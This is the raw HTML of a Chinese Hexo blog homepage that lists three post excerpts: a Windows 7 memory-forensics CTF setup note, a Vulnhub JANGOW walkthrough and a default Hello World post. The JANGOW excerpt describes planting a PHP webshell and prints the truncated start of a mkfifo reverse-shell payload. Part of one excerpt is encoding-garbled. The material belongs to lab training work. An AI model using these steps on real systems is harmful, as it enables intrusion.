https://dr34nn.github.io/

1<!DOCTYPE html><html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=2"><meta name="theme-color" content="#FFF"><link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon.png"><link rel="icon" type="image/ico" sizes="32x32" href="/images/favicon.ico"><meta http-equiv="Cache-Control" content="no-transform"><meta http-equiv="Cache-Control" content="no-siteapp"><link rel="alternate" type="application/rss+xml" title="MISC" href="https://dr34nn.github.io/rss.xml"><link rel="alternate" type="application/atom+xml" title="MISC" href="https://dr34nn.github.io/atom.xml"><link rel="alternate" type="application/json" title="MISC" href="https://dr34nn.github.io/feed.json"><link rel="stylesheet" href="//fonts.googleapis.com/css?family=Mulish:300,300italic,400,400italic,700,700italic%7CFredericka%20the%20Great:300,300italic,400,400italic,700,700italic%7CNoto%20Serif%20JP:300,300italic,400,400italic,700,700italic%7CNoto%20Serif%20SC:300,300italic,400,400italic,700,700italic%7CInconsolata:300,300italic,400,400italic,700,700italic&display=swap&subset=latin,latin-ext"><link rel="stylesheet" href="/css/app.css?v=0.2.5"><link rel="canonical" href="https://dr34nn.github.io/"><title>Dr34nn = MISC</title><meta name="generator" content="Hexo 6.2.0"></head><body itemscope itemtype="http://schema.org/WebPage"><div id="loading"><div class="cat"><div class="body"></div><div class="head"><div class="face"></div></div><div class="foot"><div class="tummy-end"></div><div class="bottom"></div><div class="legs left"></div><div class="legs right"></div></div><div class="paw"><div class="hands left"></div><div class="hands right"></div></div></div></div><div id="container"><header id="header" itemscope itemtype="http://schema.org/WPHeader"><div class="inner"><div id="brand"><div class="pjax"><a href="/" class="logo" rel="start"><p class="artboard">Dr34nn</p><h1 itemprop="name headline" class="title">MISC</h1></a></div></div><nav id="nav"><div class="inner"><div class="toggle"><div class="lines" aria-label="切换导航栏"><span class="line"></span> <span class="line"></span> <span class="line"></span></div></div><ul class="menu"><li class="item title"><a href="/" rel="start">Dr34nn</a></li></ul><ul class="right"><li class="item theme"><i class="ic i-sun"></i></li><li class="item search"><i class="ic i-search"></i></li></ul></div></nav></div><div id="imgs" class="pjax"><ul><li class="item" data-background-image="https://tva4.sinaimg.cn/large/6833939bly1gipet4bz0yj20zk0m8e81.jpg"></li><li class="item" data-background-image="https://tva4.sinaimg.cn/large/6833939bly1giclgrvbd6j20zk0m8qv5.jpg"></li><li class="item" data-background-image="https://tva4.sinaimg.cn/large/6833939bly1giph4lm9i7j20zk0m84qp.jpg"></li><li class="item" data-background-image="https://tva4.sinaimg.cn/large/6833939bly1gipevo9j1jj20zk0m8e81.jpg"></li><li class="item" data-background-image="https://tva4.sinaimg.cn/large/6833939bly1giph4baakhj20zk0m8h5q.jpg"></li><li class="item" data-background-image="https://tva4.sinaimg.cn/large/6833939bly1gipewkhf1zj20zk0m81kx.jpg"></li></ul></div></header><div id="waves"><svg class="waves" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 24 150 28" preserveAspectRatio="none" shape-rendering="auto"><defs><path id="gentle-wave" d="M-160 44c30 0 58-18 88-18s 58 18 88 18 58-18 88-18 58 18 88 18 v44h-352z"/></defs><g class="parallax"><use xlink:href="#gentle-wave" x="48" y="0"/><use xlink:href="#gentle-wave" x="48" y="3"/><use xlink:href="#gentle-wave" x="48" y="5"/><use xlink:href="#gentle-wave" x="48" y="7"/></g></svg></div><main><div class="inner"><div id="main" class="pjax"><div class="index wrap"><h2 class="divider">文章列表</h2><div class="segments posts"><article class="item"><div class="cover"><a href="/2022/11/07/Windows7%E5%86%85%E5%AD%98%E5%8F%96%E8%AF%81%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95/" itemprop="url" title="Windows7内存取证出题记录"><img data-src="https://tva4.sinaimg.cn/mw690/6833939bly1gipexw3o58j20zk0m8e81.jpg"></a></div><div class="info"><div class="meta"><span class="item" title="创建时间：2022-11-07 00:00:00"><span class="icon"><i class="ic i-calendar"></i> </span><time itemprop="dateCreated datePublished" datetime="2022-11-07T00:00:00+08:00">2022-11-07</time></span></div><h3><a href="/2022/11/07/Windows7%E5%86%85%E5%AD%98%E5%8F%96%E8%AF%81%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95/" itemprop="url" title="Windows7内存取证出题记录">Windows7内存取证出题记录</a></h3><div class="excerpt">最近为了准备 ISCTF 的套娃题，想起来可以外层套一个取证的皮，但是本来的环境因为电脑重装就无了，所以重新用虚拟机搭了一个 Win7 的环境ï¼

1Œç„¶åŽé‡åˆ°äº†å‡ ä¸ªä¹‹å‰é‡åˆ°è¿‡çš„问题，那个时候没有记录，导致配环境浪费了很多时间，这边就小小的记录一下吧。 # 写在开头： win7 取证的话，硬盘容量建议开大一点，给 25g，他自身好像是占了 13g，然后一些补丁后续要加，我尝试了 20G，容量不够，25G 就足够的空间了 # Step1: 环境镜像 ​	我使用的是 VMware...</div><div class="meta footer"><span><a href="/categories/MISC/%E5%8F%96%E8%AF%81/" itemprop="url" title="取证"><i class="ic i-flag"></i>取证</a></span></div><a href="/2022/11/07/Windows7%E5%86%85%E5%AD%98%E5%8F%96%E8%AF%81%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95/" itemprop="url" title="Windows7内存取证出题记录" class="btn">more...</a></div></article><article class="item"><div class="cover"><a href="/2022/07/06/vulnhub-JANGOW/" itemprop="url" title="JANGOW"><img data-src="https://tva4.sinaimg.cn/mw690/6833939bly1giclfw2t96j20zk0m8x6p.jpg"></a></div><div class="info"><div class="meta"><span class="item" title="创建时间：2022-07-06 00:00:00"><span class="icon"><i class="ic i-calendar"></i> </span><time itemprop="dateCreated datePublished" datetime="2022-07-06T00:00:00+08:00">2022-07-06</time></span></div><h3><a href="/2022/07/06/vulnhub-JANGOW/" itemprop="url" title="JANGOW">JANGOW</a></h3><div class="excerpt">首先配置一下虚拟机，因为 ova 格式用 VM 导入的话，是不显示 ip 的，具体配置网上都有，这里就不说了 配置成功后，在本机上使用 arp-scan -l 就可以看到靶机 ip (用来验证是否配置成功) 端口扫描 开放了 80 端口，所以直接访问看看，点点点，就发现可疑接口 写个一句话木马传上去，蚁剑连 再 WordPress 下面发现配置文件 在 /var/www/html 下有个.backup 文件 然后尝试登录系统，但是并没有发现什么有用的东西，先写个反弹 shell 吧 &amp;lt;?php system(&amp;quot;rm /tmp/f;mkfifo...</div><div class="meta footer"><span><a href="/categories/%E5%86%85%E7%BD%91/" itemprop="url" title="内网"><i class="ic i-flag"></i>内网</a></span></div><a href="/2022/07/06/vulnhub-JANGOW/" itemprop="url" title="JANGOW" class="btn">more...</a></div></article><article class="item"><div class="cover"><a href="/2022/07/05/hello-world/" itemprop="url" title="Hello World"><img data-src="https://tva4.sinaimg.cn/mw690/6833939bly1giciub8ja1j20zk0m81ky.jpg"></a></div><div class="info"><div class="meta"><span class="item" title="创建时间：2022-07-05 16:03:35"><span class="icon"><i class="ic i-calendar"></i> </span><time itemprop="dateCreated datePublished" datetime="2022-07-05T16:03:35+08:00">2022-07-05</time></span></div><h3><a href="/2022/07/05/hello-world/" itemprop="url" title="Hello World">Hello World</a></h3><div class="excerpt">Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub. # Quick Start # Create a new post h$ hexo new &quot;My New Post&quot;More info: Writing # Run server h$...</div><a href="/2022/07/05/hello-world/" itemprop="url" title="Hello World" class="btn">more...</a></div></article></div></div></div><div id="sidebar"><div class="inner"><div class="panels"><div class="inner"><div class="contents panel pjax" data-title="文章目录"></div><div class="related panel pjax" data-title="系列文章"></div><div class="overview panel" data-title="站点概览"><div class="author" itemprop="author" itemscope itemtype="http://schema.org/Person"><img class="image" itemprop="image" alt="Dr34m" data-src="/images/avatar.jpg"><p class="name" itemprop="name">Dr34m</p><div class="description" itemprop="description"></div></div><nav class="state"><div class="item posts"><a href="/archives/"><span class="count">3</span> <span class="name">文章</span></a></div><div class="item categories"><a href="/categories/"><span class="count">3</span> <span class="name">分类</span></a></div><div class="item tags"><a href="/tags/"><span class="count">2</span> <span class="name">标签</span></a></div></nav><div class="social"></div><ul class="menu"><li class="item"><a href="/" rel="section"><i class="ic i-home"></i>首页</a></li><li class="item dropdown"><a href="javascript:void(0);"><i class="ic i-feather"></i>文章</a><ul class="submenu"><li class="item"><a href="/archives/" rel="section"><i class="ic i-list-alt"></i>归档</a></li><li class="item"><a href="/categories/" rel="section"><i class="ic i-th"></i>分类</a></li><li class="item"><a href="/tags/" rel="section"><i class="ic i-tags"></i>标签</a></li></ul></li><li class="item"><a href="/friends/" rel="section"><i class="ic i-heart"></i>友链</a></li></ul></div></div></div><ul id="quick"><li class="prev pjax"></li><li class="up"><i class="ic i-arrow-up"></i></li><li class="down"><i class="ic i-arrow-down"></i></li><li class="next pjax"></li><li class="percent"></li></ul></div></div><div class="dimmer"></div></div></main><footer id="footer"><div class="inner"><div class="widgets"><div class="rpost pjax"><h2>随机文章</h2><ul><li class="item"><div class="breadcrumb">

1<a href="/categories/%E5%86%85%E7%BD%91/" title="分类于 内网">内网</a></div><span><a href="/2022/07/06/vulnhub-JANGOW/" title="JANGOW">JANGOW</a></span></li><li class="item"><div class="breadcrumb"></div><span><a href="/2022/07/05/hello-world/" title="Hello World">Hello World</a></span></li><li class="item"><div class="breadcrumb"><a href="/categories/MISC/" title="分类于 MISC">MISC</a> <i class="ic i-angle-right"></i> <a href="/categories/MISC/%E5%8F%96%E8%AF%81/" title="分类于 取证">取证</a></div><span><a href="/2022/11/07/Windows7%E5%86%85%E5%AD%98%E5%8F%96%E8%AF%81%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95/" title="Windows7内存取证出题记录">Windows7内存取证出题记录</a></span></li></ul></div><div><h2>最新评论</h2><ul class="leancloud-recent-comment"></ul></div></div><div class="status"><div class="copyright">&copy; 2010 – <span itemprop="copyrightYear">2023</span> <span class="with-love"><i class="ic i-sakura rotate"></i> </span><span class="author" itemprop="copyrightHolder">Dr34m @ Dr34nn</span></div><div class="powered-by">基于 <span class="exturl" data-url="aHR0cHM6Ly9oZXhvLmlv">Hexo</span> & Theme.<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2FtZWhpbWUvaGV4by10aGVtZS1zaG9rYQ==">Shoka</span></div></div></div></footer></div>

1<script data-config type="text/javascript">var LOCAL={path:"",favicon:{show:"（●´3｀●）やれやれだぜ",hide:"(´Д｀)大変だ！"},search:{placeholder:"文章搜索",empty:"关于 「 ${query} 」，什么也没搜到",stats:"${time} ms 内找到 ${hits} 条结果"},valine:!0,fancybox:!0,copyright:'复制成功，转载请遵守 <i class="ic i-creative-commons"></i>BY-NC-SA 协议。',ignores:[function(e){return e.includes("#")},function(e){return new RegExp(LOCAL.path+"$").test(e)}]}</script>

1<script src="https://cdn.polyfill.io/v2/polyfill.js"></script>

1<script src="//cdn.jsdelivr.net/combine/npm/[email protected]/pace.min.js,npm/[email protected]/pjax.min.js,npm/[email protected]/dist/fetch.umd.min.js,npm/[email protected]/lib/anime.min.js,npm/algoliasearch@4/dist/algoliasearch-lite.umd.js,npm/instantsearch.js@4/dist/instantsearch.production.min.js,npm/lozad@1/dist/lozad.min.js,npm/quicklink@2/dist/quicklink.umd.js"></script>

1<script src="/js/app.js?v=0.2.5"></script>

1</body></html>